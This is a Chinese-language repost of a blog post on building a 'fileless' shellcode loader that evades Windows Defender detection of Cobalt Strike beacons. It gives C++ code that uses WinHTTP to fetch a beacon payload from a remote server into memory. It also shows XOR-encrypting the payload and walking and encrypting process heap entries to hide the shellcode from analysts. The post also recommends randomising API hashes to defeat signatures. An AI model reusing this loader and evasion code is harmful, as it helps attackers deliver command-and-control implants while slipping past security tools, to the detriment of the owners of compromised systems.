长亭百川云 - 文章详情

Shellcode 已死,无文件 Shellcode 万岁

Ots安全

28

2024-08-23


最近,我正在开发一个简单的 Shellcode 加载器,它使用回调作为 Shellcode 执行的替代方案。虽然它可以绕过每次运行时扫描,但无法绕过签名检测。因此,我启动了ThreatCheck来识别坏字节:

乍一看,无法理解到底检测到了什么,所以我启动了GHidra来手动识别这些坏字节。我只是从 ThreadCheck ( 00 1F CC 07 00 15 CC 07 ) 中复制了一个随机模式,并尝试在恶意软件的编译 EXE 内存中进行搜索。

这显然是我在 Shellcode Loader 中实现的 XOR 加密 Shellcode,Defender 将其检测为 Cobalt Strike 代理。看来 XOR 加密例程在静态检测方面不够强大,这让我开始思考:存储的 shellcode 真的死了吗(尤其是从 Cobalt Strike 生成的 shellcode)?我不会感到惊讶,因为目前 Cobalt Strike 是威胁行为者中最流行的 C2 框架,但必须采取一些措施使 Shellcode 再次变得强大且不可检测。

RAW Shellcodes:它们有什么问题?

Cobalt Strike 的有效载荷基于 Meterpreter shellcode,并且包含许多相似(有时相同)的 API 哈希(x86和x64版本)。

Cobalt Strike 使用的默认哈希https://kleiton0x00.github.io/posts/Shellcodes-are-dead-long-live-fileless-shellcodes/是经过高度签名的;我们可以通过执行动态哈希编码来获得此类哈希的解决方案。如果你看下面的图片,哈希值是InternetOpenA0xa779563a的默认哈希。如果你简单地谷歌一下哈希,所有与 Metaploit 相关的内容都会出现,因此这个哈希被认为主要由 Cobalt Strike 信标和 Meterpreter 代理使用。对此类哈希应用 ror13 哈希将大大减少 AV 供应商的检测(几乎为 0)。由于这篇文章https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection已经很好地解释过了,我不会进一步解释,但下面的图片给出了对哈希进行编码后的最终结果的概念。

无文件 Shellcode 来帮忙

虽然这不是什么新鲜事,但无文件 shellcode 是避免签名检测的一种好方法,即从互联网上检索 shellcode。这样,您就可以解决大熵和任何可能的签名检测的问题。下图是传统 XORed 加密 shellcode 和我们的无文件 shellcode 加载器的比较。由于 shellcode 不必存储在 .text 部分中,因此熵将大幅下降(请记住):

完整的源代码可以在这里找到https://github.com/kleiton0x00/RemoteShellcodeExec/,但在本文中,我将尝试分解代码以便于理解。

为了从 HTTP 服务器请求 shellcode,我将使用winhttp库。或者,您可以使用套接字,根据一些研究,这可能是更好的解决方案,可能会导致较低的运行时检测(因为 Winsocket 的 API 可能会被挂钩)。以下代码负责向远程服务器发送 HTTP 请求并等待响应:

1// Initialize WinHTTP 
2    hInternet = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
3
4
5    // Connect to the HTTP server 
6    hHttpSession = WinHttpConnect(hInternet, L"192.168.0.60", 80, 0); //192.168.0.60:8081
7
8
9    // Open an HTTP request 
10    hHttpRequest = WinHttpOpenRequest(hHttpSession, L"GET", L"/beacon.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
11
12
13    // Send a request 
14    bResults = WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
15
16
17    // Wait for the response 
18    bResults = WinHttpReceiveResponse(hHttpRequest, NULL);

WinHTTP 分块接收响应,因此我们需要循环直到检索到所有内容:

1do
2    {
3        dwSize = 0;
4        if (!WinHttpQueryDataAvailable(hHttpRequest, &dwSize))
5        {
6            printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
7        }
8
9
10        // Allocate space for the buffer.
11        pszOutBuffer = new char[dwSize + 1];
12
13
14        // No more available data 
15        if (!pszOutBuffer) {
16            printf("[-] No more available data");
17            dwSize = 0;
18        }
19
20
21        // Read the Data.
22        ZeroMemory(pszOutBuffer, dwSize + 1);
23
24
25        if (!WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer,
26            dwSize, &dwDownloaded))
27            printf("Error %u in WinHttpReadData.\n", GetLastError());
28        else
29            PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
30
31
32    } while (dwSize > 0);

最后,确保将每个块存储在矢量数组中:

1char* PE = (char*)malloc(PEbuf.size());
2    for (int i = 0; i < PEbuf.size(); i++) {
3        PE[i] = PEbuf[i];
4    }

加密总是有用的

请注意以下部分:

1char* PE = (char*)malloc(PEbuf.size());
2    for (int i = 0; i < PEbuf.size(); i++) {
3        PE[i] = PEbuf[i];
4    }

从团队服务器检索到的 shellcode 存储在堆中,这使得蓝队可以轻松分析堆并发现里面的内容(显然是我们的未加密的 shellcode):

此外,在堆中加密 shellcode 总是一个更好的主意:

1char* PE = (char*)malloc(PEbuffer.size());
2    for (int i = 0; i < PEbuf.size(); i++) {
3        PE[i] = PEbuffer[i] ^ 0x7e; //XOR encrypted
4    }
5    XOR(PE, PEbuffer.size(), key);

其中XOR是解密数组的基本函数:

1void XOR(char* data, int len, unsigned char key) {
2    int i;
3    for (i = 0; i < len; i++)
4        data[i] ^= key;
5}

不惜一切代价保护堆

加密堆是个好主意,因为它可以保护可能存储在堆中的敏感数据。当程序在不受信任的环境中运行时,这一点尤其重要,因为存储在堆中的任何数据都可能被恶意软件分析器分析。

1// Encryption Key
2const char key[2] = "A";
3size_t keySize = sizeof(key);
4
5
6
7
8void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
9    for (size_t i = 0; i < length; ++i) {
10        buffer[i] ^= key[i % keyLength];
11    }
12}
13
14
15
16
17PROCESS_HEAP_ENTRY entry;
18void HeapEncryptDecrypt() {
19    SecureZeroMemory(&entry, sizeof(entry));
20    while (HeapWalk(GetProcessHeap(), &entry)) {
21        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
22            xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
23        }
24    }
25}

HeapWalk ()函数用于遍历进程堆中的每个堆条目,并检查该条目是否繁忙。如果繁忙,则使用 xor_bidirectional_encode() 函数对该条目进行加密和解密。这是通过使用 XOR 运算对数据进行加密和解密来实现的。

Profit



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2